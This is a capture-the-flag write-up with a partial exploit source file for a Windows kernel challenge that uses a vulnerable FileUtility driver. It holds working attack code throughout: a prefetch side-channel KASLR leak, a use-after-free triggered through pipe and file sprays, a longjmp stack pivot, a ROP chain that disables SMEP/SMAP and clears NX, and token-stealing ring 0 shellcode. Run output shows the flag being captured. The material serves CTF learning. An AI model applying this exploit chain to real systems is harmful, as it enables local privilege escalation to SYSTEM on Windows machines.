We can't just run a ring 0 shellcode payload from userland because SMEP is enabled and KVA shadowing is enabled (Windows version of KPTI), which also sets the NX bit for the top level page table entry that controls userland mappings in the kernel page table. Unfortunately Windows does have KASLR and none of the NtQuerySystemInformation kernel leaks I had GPT write seemed to work. All is not lost however, since the kernel is running through KVM we can take advantage of hardware side channel attacks to leak the kernel base.

I had GPT find blog posts related to performing prefetch side channels on Windows, with these two being the most useful:

  1. https://hackyboiz.github.io/2025/04/13/l0ch/bypassing-kernel-mitigation-part0/en/
  2. https://github.com/exploits-forsale/prefetch-tool/blob/main/prefetch_tool/prefetch_leak.h

This blog post also mentions that the Windows kernel is randomized with an alignment of 2 MB when the system has more than 2 GB of memory because it will use large pages. The challenge VM has exactly 2 GB of memory, so no large pages for us :(. Through some empirical testing (rebooting the challenge VM over and over again) I found that the kernel is mapped at an alignment of 16 bits with 19 bits of randomness, in the range 0xfffff80000000000 to 0xfffff80800000000. Since KVA shadowing is enabled the only part of the kernel actually mapped in this range in the user page tables is the syscall entrypoint. The exact offset from the kernel base can be found by reading MSR_LSTAR:

TEXT
kd> rdmsr 0xc0000082
msr[c0000082] = fffff802`88f83200
kd> lm m nt
Browse full module list
start             end                 module name
fffff802`883d0000 fffff802`89820000   nt         (pdb symbols)          C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\B65A1E5D9D57D828E82F8C75F19E98571\ntkrnlmp.pdb
kd> ? fffff802`88f83200-fffff802`883d0000
Evaluate expression: 12268032 = 00000000`00bb3200

There are also two other pages that are mapped before the LSTAR page in the user page tables. So the prefetch scanning ends up being:

  1. calculate the unmapped/mapped threshold
  2. scan from 0xfffff80000000000 to 0xfffff80800000000 at 0x10000 increments, taking note of any mapped candidates
  3. filter the candidates again with more testing iterations to ensure they are actually mapped
  4. filter the candidates for ones that have exactly two pages mapped before them
  5. if this process yields only one possible candidate, assume LSTAR has been found
  6. otherwise go back to step 1

While this code is fast and stable for me, it depends on the exact processor and might have taken more work to replicate on remote. Since we're upsolving and remote is down we don't have the chance to test if this would have also been stable on remote.

With our newly acquired KASLR leak we can convert our RIP control into something more useful. The decomp of IopfCallDriver shows that the first argument is a pointer to the device object that we control. At first I looked at https://jle-k.com/blog/Exploiting+CVE-2026-21241 which mentions using the Rtl(Set|Clear)Bit(s) functions in the kernel to privesc, but the structure of the device object ends up making them unusable. Eventually while doom scrolling ntoskrnl.exe in binja, I came across this function:

C
int64_t __longjmp_internal(int64_t* arg1, int64_t arg2)
sub rsp, 0x48
test rdx, rdx
jne 0x14069ceec

inc rdx

xor r10, r10 {0x0}
cmp qword [rcx], r10
jne 0x14069cf82

lfence
mov rax, rdx
mov rbx, qword [rcx+0x8]
mov rsi, qword [rcx+0x20]
mov rdi, qword [rcx+0x28]
mov r12, qword [rcx+0x30]
mov r13, qword [rcx+0x38]
mov r14, qword [rcx+0x40]
mov r15, qword [rcx+0x48]
ldmxcsr dword [rcx+0x58]
movdqa xmm6, xmmword [rcx+0x60]
movdqa xmm7, xmmword [rcx+0x70]
movdqa xmm8, xmmword [rcx+0x80]
movdqa xmm9, xmmword [rcx+0x90]
movdqa xmm10, xmmword [rcx+0xa0]
movdqa xmm11, xmmword [rcx+0xb0]
movdqa xmm12, xmmword [rcx+0xc0]
movdqa xmm13, xmmword [rcx+0xd0]
movdqa xmm14, xmmword [rcx+0xe0]
movdqa xmm15, xmmword [rcx+0xf0]
mov rdx, qword [rcx+0x50]
mov rbp, qword [rcx+0x18]
mov rsp, qword [rcx+0x10]
jmp rdx

... what?!?. Longjmp??? In the kernel?????? This function loads all the callee saved registers from its first argument, as well as the xmm registers and rip and rsp. None of the offsets for rip or rsp conflict with any fields in our fake device object, giving an easy stack pivot primitive. Even better is that the tail end of the function is a self contained gadget that loads rip, rbp, and rsp without clobbering any other registers. If KCFG was enabled this primitive is still usable, although you would be forced to use JOP and have a kernel stack leak as detailed in this blog post. I know KCFG is disabled because calls to _guard_dispatch_icall have been replaced with KscpCfgDispatchUserCallTargetEsSmep which just jmp to the target directly. I'm not sure why its disabled but I'm not complaining.

Again since SMAP is disabled we can stack pivot to a rop chain stored in userland that triggers a ring 0 shellcode payload:

C
/* ROPgadget works on windows binaries */
int x = 0;
void *rc[0x100];
rc[x++] = xchg_r11_rax_spadd_60_pop_rbx;
x += 0x60 / 8;
rc[x++] = 0;
rc[x++] = pop_rcx;
rc[x++] = (void *)0x70678;
rc[x++] = mov_cr4_rcx;
rc[x++] = pop_rax;
rc[x++] = pxe_base;
rc[x++] = mov_rax_ptr_rax;
rc[x++] = mov_rax_ptr_rax;
rc[x++] = pop_r8;
rc[x++] = (void *)0x7fffffffffffffffull;
rc[x++] = and_rax_r8;
rc[x++] = mov_r9_rax_mov_rax_r9;
rc[x++] = pop_rax;
rc[x++] = pxe_base;
rc[x++] = mov_rax_ptr_rax;
rc[x++] = mov_ptr_rax_r9;
rc[x++] = kernel_shellcode;

In Windows the root page table address is patched directly into certain functions (just look for functions that pertain to page tables, I used MiCopyTopLevelMappings) so we can read it out directly from the kernel text, unset the NX bit of the top level page table entry that controls user mappings, unset SMAP and SMEP in cr4, then return directly to shellcode stored in userland.

X86ASM
kernel_shellcode:
/* current _ETHREAD */
mov rdx, gs:[0x188]
/* _ETHREAD init stack */
mov rdx, qword ptr [rdx + 0x28]
/* fixup rsp to point to the original stack location */
lea rsp, [rdx - 0x4d8]

/* current _ETHREAD */
mov rax, gs:[0x188]
/* current _EPROCESS */
mov rax, qword ptr [rax + 0x220]

/* System bytes*/
mov rcx, 0x6d6574737953
mov rdx, rax

/* search process links for System */
search:
cmp qword ptr [rdx + 0x338], rcx
je found
mov rdx, qword ptr [rdx + 0x1d8 + 8]
sub rdx, 0x1d8
jmp search

found:
/* copy System TOKEN */
mov rdx, qword ptr [rdx + 0x248]
mov qword ptr [rax + 0x248], rdx

/* return to IopfCallDriver */
mov rax, 0
ret

After returning to IopfCallDriver we never signaled that the paging operation has completed, so the kernel politely hangs the faulting thread in MiWaitForInPageComplete -> KeWaitForSingleObject. Then from a separate thread we wait for long enough that we are sure our TOKEN has been replaced with System TOKEN, and invoke C:\Windows\ReadFlag.exe to get the flag.

TEXT
zig cc exploit.c exploit.s -o exploit -target x86_64-windows-gnu -DDEBUG=0 -O2 -masm=intel -g3 -flto
sshpass -p Password123_ scp -q exploit lowpriv@172.16.60.132:exploit.exe
sshpass -p Password123_ ssh -q lowpriv@172.16.60.132 exploit.exe || rm exploit
thread handle = 00000000000000C0, tid = 2660
waiting...
hi!
flag?
found = 1
LSTAR is most likely: fffff80288f83200
kbase = fffff802883d0000
hDevice handle = 00000000000000C4
hFile handle = 0000000000004154
avg mapped = 59
avg unmapped = 102
threshold = 80
mapping handle = 0000000000004158
ok: 1
ok: 1
file spray done
setup rop chain
closing
views mapped
kernel_shellcode = 1a102f
starting...
flag?
flag?
flag?
flag?
teemo{i_hate_windows}

done

#Files

exploit.cC
   1 
 
2
 
3
 
4
 
5
 
6
 
7
 
8
 
9
 
10
 
11
 
12
 
13
 
14
 
15
 
16
 
17
 
18
 
19
 
20
 
21
 
22
 
23
 
24
 
25
 
26
 
27
 
28
 
29
 
30
 
31
 
32
 
33
 
34
 
35
 
36
 
37
 
38
 
39
 
40
 
41
 
42
 
43
 
44
 
45
 
46
 
47
 
48
 
49
 
50
 
51
 
52
 
53
 
54
 
55
 
56
 
57
 
58
 
59
 
60
 
61
 
62
 
63
 
64
 
65
 
66
 
67
 
68
 
69
 
70
 
71
 
72
 
73
 
74
 
75
 
76
 
77
 
78
 
79
 
80
 
81
 
82
 
83
 
84
 
85
 
86
 
87
 
88
 
89
 
90
 
91
 
92
 
93
 
94
 
95
 
96
 
97
 
98
 
99
 
100
 
101
 
102
 
103
 
104
 
105
 
106
 
107
 
108
 
109
 
110
 
111
 
112
 
113
 
114
 
115
 
116
 
117
 
118
 
119
 
120
 
121
 
122
 
123
 
124
 
125
 
126
 
127
 
128
 
129
 
130
 
131
 
132
 
133
 
134
 
135
 
136
 
137
 
138
 
139
 
140
 
141
 
142
 
143
 
144
 
145
 
146
 
147
 
148
 
149
 
150
 
151
 
152
 
153
 
154
 
155
 
156
 
157
 
158
 
159
 
160
 
161
 
162
 
163
 
164
 
165
 
166
 
167
 
168
 
169
 
170
 
171
 
172
 
173
 
174
 
175
 
176
 
177
 
178
 
179
 
180
 
181
 
182
 
183
 
184
 
185
 
186
 
187
 
188
 
189
 
190
 
191
 
192
 
193
 
194
 
195
 
196
 
197
 
198
 
199
 
200
 
201
 
202
 
203
 
204
 
205
 
206
 
207
 
208
 
209
 
210
 
211
 
212
 
213
 
214
 
215
 
216
 
217
 
218
 
219
 
220
 
221
 
222
 
223
 
224
 
225
 
226
 
227
 
228
 
229
 
230
 
231
 
232
 
233
 
234
 
235
 
236
 
237
 
238
 
239
 
240
 
241
 
242
 
243
 
244
 
245
 
246
 
247
 
248
 
249
 
250
 
251
 
252
 
253
 
254
 
255
 
256
 
257
 
258
 
259
 
260
 
261
 
262
 
263
 
264
 
265
 
266
 
267
 
268
 
269
 
270
 
271
 
272
 
273
 
274
 
275
 
276
 
277
 
278
 
279
 
280
 
281
 
282
 
283
 
284
 
285
 
286
 
287
 
288
 
289
 
290
 
291
 
292
 
293
 
294
 
295
 
296
 
297
 
298
 
299
 
300
 
301
 
302
 
303
 
304
 
305
 
306
 
307
 
308
 
309
 
310
 
311
 
312
 
313
 
314
 
315
 
316
 
317
 
318
 
319
 
320
 
321
 
322
 
323
 
324
 
325
 
326
 
327
 
328
 
329
 
330
 
331
 
332
 
333
 
334
 
335
 
336
 
337
 
338
 
339
 
340
 
341
 
342
 
343
 
344
 
345
 
346
 
347
 
348
 
349
 
350
 
351
 
352
 
353
 
354
 
355
 
356
 
357
 
358
 
359
 
360
 
361
 
362
 
363
 
364
 
365
 
366
 
367
 
368
 
369
 
370
 
371
 
372
 
373
 
374
 
375
 
376
 
377
 
378
 
379
 
380
 
381
 
382
 
383
 
384
 
385
 
386
 
387
 
388
 
389
 
390
 
391
 
392
 
393
 
394
 
395
 
396
 
397
 
398
 
399
 
400
 
401
 
402
 
403
 
404
 
405
 
406
 
407
 
408
 
409
 
410
 
411
 
412
 
413
 
414
 
415
 
416
 
417
 
418
 
419
 
420
 
421
 
422
 
423
 
424
 
425
 
426
 
427
 
428
 
429
 
430
 
431
 
432
 
433
 
434
 
435
 
436
 
437
 
438
 
439
 
440
 
441
 
442
 
443
 
444
 
445
 
446
 
447
 
448
 
449
 
450
 
451
 
452
 
453
 
454
 
455
 
456
 
457
 
458
 
459
 
460
 
461
 
462
 
463
 
464
 
465
 
466
 
467
 
468
 
469
 
470
 
471
 
472
 
473
 
474
 
475
 
476
 
477
 
478
 
479
 
480
 
481
 
482
 
483
 
484
 
485
 
486
 
487
 
488
 
489
 
490
 
491
 
492
 
493
 
494
 
495
 
496
 
497
 
498
 
499
 
500
 
501
 
502
 
503
 
504
 
505
 
506
 
507
 
508
 
509
 
510
 
511
 
512
 
513
 
514
 
515
 
516
 
517
 
518
 
519
 
520
 
521
 
522
 
523
 
524
 
525
 
526
 
527
 
528
 
529
 
530
 
531
 
532
 
533
 
534
 
535
 
536
 
537
 
538
 
539
 
540
 
541
 
542
 
543
 
544
 
545
 
546
 
547
 
548
 
549
 
550
 
551
 
552
 
553
 
554
 
555
 
556
 
557
 
558
 
559
 
560
 
561
 
562
 
563
 
564
 
565
 
566
 
567
 
568
 
569
 
570
 
571
 
572
 
573
 
574
 
575
 
576
 
577
 
578
 
579
 
580
 
581
 
582
 
583
 
584
 
585
 
586
 
587
 
588
 
589
 
590
 
591
 
592
 
593
 
594
 
595
 
596
 
597
 
598
 
599
 
600
 
601
 
602
 
603
 
604
 
605
 
606
 
607
 
608
 
609
 
610
 
611
 
612
 
613
 
614
 
615
 
616
 
617
 
618
 
619
 
620
 
621
 
622
 
623
 
624
 
625
 
626
 
627
 
628
 
629
 
630
 
631
 
632
 
633
 
634
 
635
 
636
 
637
 
638
 
639
 
640
 
641
 
642
 
643
 
644
 
645
 
646
 
647
 
648
 
649
 
650
 
651
 
652
 
653
 
654
 
655
 
656
 
657
 
658
 
659
 
660
 
661
 
662
 
663
 
664
 
665
 
666
 
667
 
668
 
669
 
670
 
671
 
672
 
673
 
674
 
675
 
676
 
677
 
678
 
679
 
680
 
681
 
682
 
683
 
684
 
685
 
686
 
687
 
688
 
689
 
690
 
691
 
692
 
693
 
694
 
695
 
696
 
697
 
698
 
699
 
700
 
701
 
702
 
#include "handleapi.h"
#include "processthreadsapi.h"
#ifndef _WIN32
#define _WIN32 1
#endif

// clang-format off
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>
#include <unistd.h>
#include <psapi.h>
#include "FileUtility/interface.h"
// clang-format on

#ifndef DEBUG
#define DEBUG 1
#endif

#if DEBUG
#define BP(n) asm volatile("int3; .rept " #n "; nop; .endr")
#else
#define BP(n)
#endif

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004)

#define ViewShare 1
#define ViewUnmap 2

#define FSCTL_PIPE_SET_HANDLE_ATTRIBUTE 0x11003c

typedef NTSTATUS(NTAPI *NtFsControlFile_t)(
HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG FsControlCode,
PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer,
ULONG OutputBufferLength);

typedef NTSTATUS(NTAPI *NtMapViewOfSection_t)(
HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress,
ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType,
ULONG Win32Protect);

typedef NTSTATUS(NTAPI *NtUnmapViewOfSection_t)(HANDLE ProcessHandle,
PVOID BaseAddress);

typedef NTSTATUS(NTAPI *NtStopProfile_t)(HANDLE ProfileHandle);

typedef struct PIPE_PAIR {
HANDLE r;
HANDLE w;
} PIPE_PAIR;

typedef struct PIPE_CONN {
HANDLE server;
HANDLE client;
} PIPE_CONN;

typedef struct WAIT_CONTEXT_BLOCK {
PVOID unknown[9];
} WAIT_CONTEXT_BLOCK;

typedef struct KDEVICE_QUEUE {
PVOID unknown[5];
} KDEVICE_QUEUE;

typedef struct KDPC {
PVOID unknown[8];
} KDPC;

typedef struct KEVENT {
PVOID unknown[3];
} KEVENT;

typedef SHORT CSHORT;

typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
void *DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
void *DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
void *FastIoDispatch;
void *DriverInit;
void *DriverStartIo;
void *DriverUnload;
void *MajorFunction[0x1c];
} _DRIVER_OBJECT;

typedef struct _DEVICE_OBJECT {
SHORT Type;
USHORT Size;
LONG ReferenceCount;
struct _DRIVER_OBJECT *DriverObject;
struct _DEVICE_OBJECT *NextDevice;
struct _DEVICE_OBJECT *AttachedDevice;
struct _IRP *CurrentIrp;
void *Timer;
LONG Flags;
LONG Characteristics;
void *Vpb;
PVOID DeviceExtension;
ULONG DeviceType;
CCHAR StackSize;
union {
LIST_ENTRY ListEntry;
WAIT_CONTEXT_BLOCK Wcb;
} Queue;
ULONG AlignmentRequirement;
KDEVICE_QUEUE DeviceQueue;
KDPC Dpc;
ULONG ActiveThreadCount;
PSECURITY_DESCRIPTOR SecurityDescriptor;
KEVENT DeviceLock;
USHORT SectorSize;
USHORT Spare1;
struct _DEVOBJ_EXTENSION *DeviceObjectExtension;
PVOID Reserved;
} _DEVICE_OBJECT;

typedef struct _FILE_OBJECT {
SHORT Type;
SHORT Size;
_DEVICE_OBJECT *DeviceObject;
void *Vpb;
PVOID FsContext;
PVOID FsContext2;
void *SectionObjectPointer;
PVOID PrivateCacheMap;
NTSTATUS FinalStatus;
struct _FILE_OBJECT *RelatedFileObject;
BOOLEAN LockOperation;
BOOLEAN DeletePending;
BOOLEAN ReadAccess;
BOOLEAN WriteAccess;
BOOLEAN DeleteAccess;
BOOLEAN SharedRead;
BOOLEAN SharedWrite;
BOOLEAN SharedDelete;
ULONG Flags;
UNICODE_STRING FileName;
LARGE_INTEGER CurrentByteOffset;
ULONG Waiters;
ULONG Busy;
PVOID LastLock;
KEVENT Lock;
KEVENT Event;
void *CompletionContext;
KSPIN_LOCK IrpListLock;
LIST_ENTRY IrpList;
PVOID FileObjectExtension;
} _FILE_OBJECT;

NtFsControlFile_t pNtFsControlFile = NULL;
NtMapViewOfSection_t pNtFsMapViewOfSection = NULL;
NtStopProfile_t pNtStopProfile = NULL;

void log(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
}

HANDLE open_driver() {
HANDLE hDevice =
CreateFileW(L"\\\\.\\FileUtility", GENERIC_READ | GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
log("open_driver failed: %lu\n", GetLastError());
exit(1);
}

log("hDevice handle = %p\n", HandleToLong(hDevice));
return hDevice;
}

HANDLE open_file(const wchar_t *path) {
HANDLE hFile = CreateFileW(path, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_ALWAYS, // open existing, create if missing
FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
log("open_file failed: %lu\n", GetLastError());
exit(1);
}

log("hFile handle = %p\n", HandleToLong(hFile));
fflush(stdout);
return hFile;
}

void set_file_size(HANDLE file, DWORD size) {
LARGE_INTEGER li = {0};
li.QuadPart = size;

BOOL ok = SetFilePointerEx(file, li, NULL, FILE_BEGIN);
if (!ok) {
log("SetFilePointerEx failed: %lu\n", GetLastError());
exit(1);
}

ok = SetEndOfFile(file);
if (!ok) {
log("SetEndOfFile failed: %lu\n", GetLastError());
exit(1);
}

li.QuadPart = 0;
ok = SetFilePointerEx(file, li, NULL, FILE_BEGIN);
if (!ok) {
log("SetFilePointerEx reset failed: %lu\n", GetLastError());
exit(1);
}
}

HANDLE pin_file_object_with_mapping(HANDLE file) {
DWORD size = 0x1000;

set_file_size(file, size);

HANDLE mapping =
CreateFileMappingW(file, NULL, PAGE_READWRITE, 0, size, NULL);

if (!mapping) {
log("CreateFileMappingW failed: %lu\n", GetLastError());
exit(1);
}

log("mapping handle = %p\n", mapping);
fflush(stdout);

return mapping;
}

PIPE_CONN *setup_named_pipes(size_t count, DWORD in_quota, DWORD out_quota) {
PIPE_CONN *pipes = (PIPE_CONN *)calloc(count, sizeof(PIPE_CONN));

if (!pipes) {
log("setup_pipes calloc failed\n");
exit(1);
}

DWORD pid = GetCurrentProcessId();

for (size_t i = 0; i < count; i++) {
wchar_t name[128];

swprintf(name, 128, L"\\\\.\\pipe\\spray_%lu_%zu", pid, i);

pipes[i].server =
CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1,
out_quota, in_quota, 0, NULL);

if (pipes[i].server == INVALID_HANDLE_VALUE) {
log("CreateNamedPipeW failed at %zu: %lu\n", i, GetLastError());
exit(1);
}

pipes[i].client = CreateFileW(name, GENERIC_READ | GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (pipes[i].client == INVALID_HANDLE_VALUE) {
log("CreateFileW pipe client failed at %zu: %lu\n", i, GetLastError());
exit(1);
}

BOOL ok = ConnectNamedPipe(pipes[i].server, NULL);

if (!ok) {
DWORD err = GetLastError();

if (err != ERROR_PIPE_CONNECTED) {
log("ConnectNamedPipe failed at %zu: %lu\n", i, err);
exit(1);
}
}
}

return pipes;
}

#define FSCTL_PIPE_INTERNAL_WRITE 0x119ff8

PIPE_CONN *setup_unbuffered_pipes(size_t count, DWORD in_quota, DWORD out_quota,
int id) {
PIPE_CONN *pipes = (PIPE_CONN *)calloc(count, sizeof(PIPE_CONN));

if (!pipes) {
log("setup_pipes calloc failed\n");
exit(1);
}

DWORD pid = GetCurrentProcessId();
for (size_t i = 0; i < count; i++) {
wchar_t name[128];

swprintf(name, 128, L"\\\\.\\pipe\\ubuf_spray_%lu_%zu", pid | (id << 16),
i);

pipes[i].server =
CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1,
out_quota, in_quota, 0, NULL);

if (pipes[i].server == INVALID_HANDLE_VALUE) {
log("CreateNamedPipeW failed at %zu: %lu\n", i, GetLastError());
exit(1);
}

pipes[i].client =
CreateFileW(name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);

if (pipes[i].client == INVALID_HANDLE_VALUE) {
log("CreateFileW pipe client failed at %zu: %lu\n", i, GetLastError());
exit(1);
}

BOOL ok = ConnectNamedPipe(pipes[i].server, NULL);

if (!ok) {
DWORD err = GetLastError();

if (err != ERROR_PIPE_CONNECTED && err != ERROR_IO_PENDING) {
log("ConnectNamedPipe failed at %zu: %lu\n", i, err);
exit(1);
}
}
}

return pipes;
}

__attribute__((noinline)) void
spray_unbuffered_pipe_data(HANDLE pipe, void *content, DWORD content_len) {
IO_STATUS_BLOCK iosb = {0};

NTSTATUS st =
pNtFsControlFile(pipe, NULL, NULL, NULL, &iosb, FSCTL_PIPE_INTERNAL_WRITE,
content, content_len, NULL, 0);

/*
STATUS_PENDING is expected/useful: the IRP stays queued.
Do not treat it as failure.
*/
if (!NT_SUCCESS(st) && st != STATUS_PENDING) {
log("spray_unbuffered_pipe_data failed: 0x%08lx\n", st);
exit(1);
}
}

HANDLE g_driver = INVALID_HANDLE_VALUE;

void decrement_file_handle(HANDLE file) {
FILEUTIL_ACCESS_INFORMATION info;
DWORD returned = 0;
BOOL ok =
DeviceIoControl(g_driver, IOCTL_FILEUTIL_METHOD_GET_ACCESS_INFORMATION,
file, 0, &info, sizeof(info), &returned, NULL);
log("ok: %d\n", ok);
}

__attribute__((noinline)) void *map_view_of_section(HANDLE mapping) {
PVOID base = NULL;
SIZE_T view_size = 0; // 0 means map from offset to end of section
LARGE_INTEGER offset = {0};

NTSTATUS st = pNtFsMapViewOfSection(
mapping, // SectionHandle from CreateFileMappingW
(HANDLE)-1, // current process
&base, // receives mapped base
0, // ZeroBits
0, // CommitSize
&offset, // SectionOffset, NULL also okay for zero
&view_size, // in/out view size
ViewUnmap, // do not inherit into child processes
0, // AllocationType
PAGE_READONLY); // PAGE_READONLY / PAGE_READWRITE / etc.

if (!NT_SUCCESS(st)) {
log("NtMapViewOfSection failed: 0x%08lx\n", st);
exit(1);
}

return base;
}

typedef struct {
HANDLE handle;
HANDLE mapping;
void *addr;
} UAF;

UAF *spray_files(int count) {
UAF *files = calloc(count, sizeof(UAF));
DWORD pid = GetCurrentProcessId();
for (int i = 0; i < count; i++) {
wchar_t path[128];
swprintf(path, 128, L"file_spray_%lu_%zu", pid, i);
files[i].handle = open_file(path);
}

BP(1);

for (int i = 0; i < count; i++) {
files[i].mapping = pin_file_object_with_mapping(files[i].handle);
}

for (int i = 0; i < count; i++) {
decrement_file_handle(files[i].handle);
decrement_file_handle(files[i].handle);
}

return files;
}

extern uint64_t measure(void *addr);

void determine_stats(int *threshold) {
int iterations = 100;
uint64_t sum_mapped = 0;
uint64_t sum_unmapped = 0;
void *mapped = &determine_stats;
void *unmapped = (void *)0x1000;

for (int i = 0; i < iterations; i++) {
Yield();
}

for (int i = 0; i < iterations; i++) {
sum_mapped += measure(mapped);
}

for (int i = 0; i < iterations; i++) {
sum_unmapped += measure(unmapped);
}

int avg_mapped = sum_mapped / iterations;
int avg_unmapped = sum_unmapped / iterations;
int t = (avg_unmapped + avg_mapped) / 2;
printf("avg mapped = %d\n", avg_mapped);
printf("avg unmapped = %d\n", avg_unmapped);
printf("threshold = %d\n", t);
if (threshold) {
*threshold = t;
}
}

int classify(void *addr, int threshold, int iterations) {
int mapped = 0;
int unmapped = 0;
for (int i = 0; i < iterations; i++) {
if (measure(addr) <= threshold) {
mapped += 1;
} else {
unmapped += 1;
}
}
return (mapped > unmapped) ? 1 : 0;
}

void test(char *name, void *addr, int threshold) {
printf("== %s\n", name);
printf("%s\n", classify(addr, threshold, 20) ? "MAPPED" : "UNMAPPED");
for (int i = 0; i < 10; i++) {
printf("measure %s = %llu\n", name, measure(addr));
}
}

void *experiment() {
int threshold = 0;
while (1) {
determine_stats(&threshold);

uint64_t lstar_offset = 0xbb3200;
uint64_t kernel_lo = 0xfffff80000000000ull;
uint64_t kernel_hi = 0xfffff80800000000ull;
uint64_t results[0x100];
memset(results, 0, sizeof(results));
int found = 0;
for (uint64_t addr = kernel_lo + lstar_offset; addr < kernel_hi;
addr += 0x10000) {
if (classify((void *)addr, threshold, 20)) {
if (found < sizeof(results) / sizeof(results[0])) {
results[found++] = addr;
}
}
}
log("found = %d\n", found);

for (int i = 0; i < found; i++) {
void *addr = (void *)results[i];
int is_really_mapped = classify(addr, threshold, 100);
if (!is_really_mapped) {
log("initial scan found %llx, rescan says otherwise\n", addr);
results[i] = 0;
continue;
}

int prev_pages_mapped = 0;
prev_pages_mapped += classify(addr - 0x1000, threshold, 100);
prev_pages_mapped += classify(addr - 0x2000, threshold, 100);
prev_pages_mapped += classify(addr - 0x3000, threshold, 100);
if (prev_pages_mapped != 2) {
log("prev_pages_mapped = %d\n", prev_pages_mapped);
log("prev_pages_mapped was not 2, skipping\n");
results[i] = 0;
continue;
}
}

int candidates = 0;
void *candidate = NULL;
for (int i = 0; i < found; i++) {
void *addr = (void *)results[i];
if (addr != NULL) {
candidate = addr;
candidates += 1;
}
}

if (candidates == 1) {
log("LSTAR is most likely: %llx\n", candidate);
return candidate - lstar_offset;
}
}
}

extern void kernel_shellcode();

DWORD WINAPI exploit(void *arg) {
log("hi!\n");

uint64_t rtlclearbits_offset = 0x44a710;
uint64_t ret_offset = 0x44a73a;
uint64_t iop_invalid_device_request_offset = 0x2fb8e0;
uint64_t _internal_longjmp_offset = 0x69cee0;

void *kbase = experiment();
log("kbase = %llx\n", kbase);

HMODULE ntdll = GetModuleHandleA("ntdll.dll");
pNtFsControlFile =
(NtFsControlFile_t)GetProcAddress(ntdll, "NtFsControlFile");
pNtFsMapViewOfSection =
(NtMapViewOfSection_t)GetProcAddress(ntdll, "NtMapViewOfSection");
pNtStopProfile = (NtStopProfile_t)GetProcAddress(ntdll, "NtStopProfile");

g_driver = open_driver();

PIPE_CONN *conns = setup_unbuffered_pipes(0x800, 0x1000, 0x1000, 1);

int uaf_count = 1;
UAF *files = spray_files(uaf_count);
log("file spray done\n");

BYTE content[0x180];
memset(content, 'B', sizeof(content));
BYTE dev[0x200];
memset(dev, 'C', sizeof(dev));
BYTE drv[0x200];
memset(drv, 'D', sizeof(drv));

void *ret = kbase + 0x2fb927;
void *halt = kbase + 0x5818a2;
void *pop_rcx = kbase + 0x20b2ba;
void *mov_cr4_rcx = kbase + 0x4b1ac7;
void *add_rax_rcx = kbase + 0x2b9eac;
void *mov_rax_kthread = kbase + 0x40ec80;
void *mov_rax_ptr_rax = kbase + 0x283c45;
void *xchg_r11_rax_spadd_60_pop_rbx = kbase + 0x963b03;
void *mov_rsp_r11 = kbase + 0x538d8a;
void *push_rax_pop_rcx = kbase + 0x349fd1;
void *pop_rdx = kbase + 0x2497b2;
void *iofcompleterequest = kbase + 0x2fb910;
void *mov_r9_rax_mov_rax_r9 = kbase + 0x430c36;
void *mov_rax_r9 = kbase + 0x270d40;
void *mov_ptr_rax_r8 = kbase + 0x3893e1;
void *pop_r8 = kbase + 0x48af95;
void *zwterminatethread = kbase + 0x69e3a0;
void *and_rax_r8 = kbase + 0x54c7b2;
void *pxe_base = kbase + 0x2c0928;
void *pop_rax = kbase + 0x21ada2;
void *mov_ptr_rax_r9 = kbase + 0x4046d7;
void *mov_cr4_rax = kbase + 0xbd17c3;

int x = 0;
void *rc[0x100];
rc[x++] = xchg_r11_rax_spadd_60_pop_rbx;
x += 0x60 / 8;
rc[x++] = 0;
rc[x++] = pop_rcx;
rc[x++] = (void *)0x70678;
rc[x++] = mov_cr4_rcx;
rc[x++] = pop_rax;
rc[x++] = pxe_base;
rc[x++] = mov_rax_ptr_rax;
rc[x++] = mov_rax_ptr_rax;
rc[x++] = pop_r8;
rc[x++] = (void *)0x7fffffffffffffffull;
rc[x++] = and_rax_r8;
rc[x++] = mov_r9_rax_mov_rax_r9;
rc[x++] = pop_rax;
rc[x++] = pxe_base;
rc[x++] = mov_rax_ptr_rax;
rc[x++] = mov_ptr_rax_r9;
rc[x++] = kernel_shellcode;
log("setup rop chain\n");

// objm header is 0x40, obj header is 0x30
_FILE_OBJECT *fakeFile = (_FILE_OBJECT *)&content[0x70];
_DEVICE_OBJECT *fakeDev = (_DEVICE_OBJECT *)&dev;
_DRIVER_OBJECT *fakeDrv = (_DRIVER_OBJECT *)&drv;

fakeFile->DeviceObject = fakeDev;
fakeFile->Vpb = NULL;

fakeDev->Vpb = NULL;
fakeDev->AttachedDevice = NULL;
fakeDev->DriverObject = fakeDrv;
((uint64_t *)fakeDev)[0] = 0;
((uint64_t *)fakeDev)[0x50 / 8] = (uint64_t)ret;
